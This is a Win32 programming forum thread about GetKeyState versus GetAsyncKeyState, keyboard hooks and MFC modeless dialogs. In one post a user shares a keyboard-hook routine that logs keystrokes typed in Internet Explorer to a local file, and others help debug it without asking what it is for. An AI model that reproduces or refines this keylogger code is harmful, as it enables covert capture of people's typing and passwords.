|
Have you added the directory path of these libraries to your project? Go to project properties and add the path to the "Additional Library Directories" item under Linker -> General.
txtspeak is the realm of 9 year old children, not developers. Christian Graus
|
|
|
|
|
Can anyone give me the precise difference between
GetAsyncKeyState(vk_shift) and GetKeyState(vk_shift) ?
I can and did read the explainment of MS, but i guess i still don't get it. In my apps i use
GetAsyncKeyState(vk_shift)!=0
to find out if the shift-key is pressed. Should i use GetKeyState() instead and if yes, why? And could you give me an example of how to check the shift key with that one.
If no, where is GetKeyState() then good for? Can you give an example of its use?
Thanks
|
|
|
|
|
I think the hint is in the name: you should call GetKeyState after a Keyboard message has been sent to your thread (MSDN [^]: "An application calls GetKeyState in response to a keyboard-input message."). On the other hand, you may call GetASyncKeyState whenever you need it.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Ok, get it but:
CPallini wrote: On the other hand, you may call GetASyncKeyState whenever you need it.
What does it give back then: The current state or the state it had after the last keyboard message or ...?
According to MSDN: The key status returned from this function (GetKeyState) changes as a thread reads key messages from its message queue. The status does not reflect the interrupt-level state associated with the hardware. Use the GetAsyncKeyState function to retrieve that information.
"The status does not reflect the interrupt-level state associated with the hardware." What's this? (i do know the concept of interrupts) Is it a strange way of telling me that GetKeyState() could give me a key-status that is actually outdated already?
|
|
|
|
|
GetAsyncKeyState gives the current state.
Rozis wrote: s it a strange way of telling me that GetKeyState() could give me a key-status that is actually outdated already?
Yes, it maybe outdated.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
CPallini wrote: GetAsyncKeyState gives the current state.
OK. What I learned so far (correct me please if i'm wrong):
GetKeyState() returns if a key is pressed based on the current status of the messagequeue. The status of the messagequeue is formed by the keyboard messages sent and processed to this queue.
GetAsyncKeyState(), on the other hand, returns if a key is pressed based on the current status of the keyboard hardware. In most cases both functions have the same outcome.
There are some differences:
1) Synthesizing a keypress would work when GetKeyState() was used but not when GetAsyncKeyState() was used. - Am i right? And what about keyboard hooks?
2) As Adam Roderick J 09 points out GetKeyState is useful for VK_NUMLOCK or VK_CAPITAL, which depends on toggle values. GetKeyState buffers these values. GetAsyncKeyState gives you only if these keys are currently pressed or not, not if they are on or off.
Avi Berger gave this link: http://blogs.msdn.com/oldnewthing/archive/2004/11/30/272262.aspx[^]
modified on Sunday, March 21, 2010 5:01 PM
|
|
|
|
|
|
Then it must be a peace of cake for you to point me out the precise difference between
GetAsyncKeyState() and GetKeyState() ?
|
|
|
|
|
GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
GetKeyState function retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
Above explanation as per msdn.
Now the case of SHIFT button applied to these cases to a normal application as example.
Now if you click the SHIFT key before calling this API in your application then
SHORT nVirtAsyc = GetAsyncKeyState(VK_LSHIFT);
SHORT nVirtSync = GetKeyState(VK_LSHIFT);
Async = 0
Sync = 1;
Now again you click SHIFT key
Aync = 0
Sync = 0
Now i think you got the point, GetKeyState gives the toggle values.
While GetAyncKeyState will be 1 when you have Pressed the SHIFT button.
Not the released button.
GetKeyState is useful for VK_NUMLOCK or VK_CAPITAL, which depends on toggle values
Величие не Бога может быть недооценена.
modified on Sunday, March 21, 2010 12:35 PM
|
|
|
|
|
Adam Roderick J 09 wrote: GetKeyState is useful for VK_NUMLOCK or VK_CAPITAL, which depends on toggle values
Of course you're right: there's no (practical) way to get vk_numlock with GetAsyncKeyState. I didn't thought of that - Good answer!
Does this also mean that a synthesized keystroke (with SendInput() or sending keyboard messages) will not be handled with GetAsyncKeyState() ?
|
|
|
|
|
why not?
Just check with a sample code man
Величие не Бога может быть недооценена.
|
|
|
|
|
Rozis wrote: In my apps i use
GetAsyncKeyState(vk_shift)!=0
to find out if the shift-key is pressed.
In most cases you want to use GetKeyState() and not GetAsyncKeyState().
If the shift-key was pressed when?
Are you processing a particular keystroke? (Such as in an OnKeyDown handler?)
GetKeyState() tells you the state at the time of the event that you are processing.
GetAsyncKeyState() tells you the state at the instant that you call it. This is not coordinated with where your program is in processing its input stream.
For a longer explanation, see here[^].
Please do not read this signature.
|
|
|
|
|
Thanks for the link, that one is usefull...
|
|
|
|
|
hi member
I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
Please help me.
|
|
|
|
|
cjsc wrote: I am using GetKeyboardState and iexplore.
What do you mean by this?
Please elaborate.
|
|
|
|
|
Am I correct that you are:
Writing and installing a keyboard hook?
Trigger an assertion in your code when you start Internet Explorer?
What assertion do you get?
What is the code that gives the assertion?
Since you are getting an assertion, the place to look is at that assertion. Ask yourself:
What is the expected condition that was violated?
Can I trace this back from the occurence of the assertion to the origin of the problem?
Please do not read this signature.
|
|
|
|
|
Reach out to the source file and line number specified in the assertion, and see what condition is failing.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Thank for all of you.
Sir i found dll from this site.
Assertion getting when i click on internet explorer.
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);Here assertion showing
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
Assertion
files\internet explore\iexplore.exe
File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
line:77
Expression:(stream!=NULL)
Thanks
|
|
|
|
|
|
It looks like it's actually the fwrite() line that's failing. You can tell from the assertion that your fopen() call failed. That means you don't have anything to write to but your still trying. That's why you get the assertion.
Handle the case of when fopen() fails.
|
|
|
|
|
How to add a message loop for a modeless dialog?Thx!!! Why the child dialog is sleep, and the father Wnd stock too?
I am not a genius, but shed more sweat!
|
|
|
|
|
Have a look here[^] on MSDN, for full details of handling modeless dialogs.
txtspeak is the realm of 9 year old children, not developers. Christian Graus
|
|
|
|
|
Are you using MFC or straight win32 or something else?
Please do not read this signature.
|
|
|
|
|
I use MFC,MDI app.When the sub window stuck,and the main frame stop too.I want to find a way that when the sub window is stuck and the main frame could works well.Other means,the fcous can be changed when the sub window is stuck.Really thx!
I am not a genius, but shed more sweat!
|
|
|
|
|
Hi all,
please tell me how can i check any dialog box is open over the main dialog box of application.
please help me for this.
thanks in advance.
|
|
|
|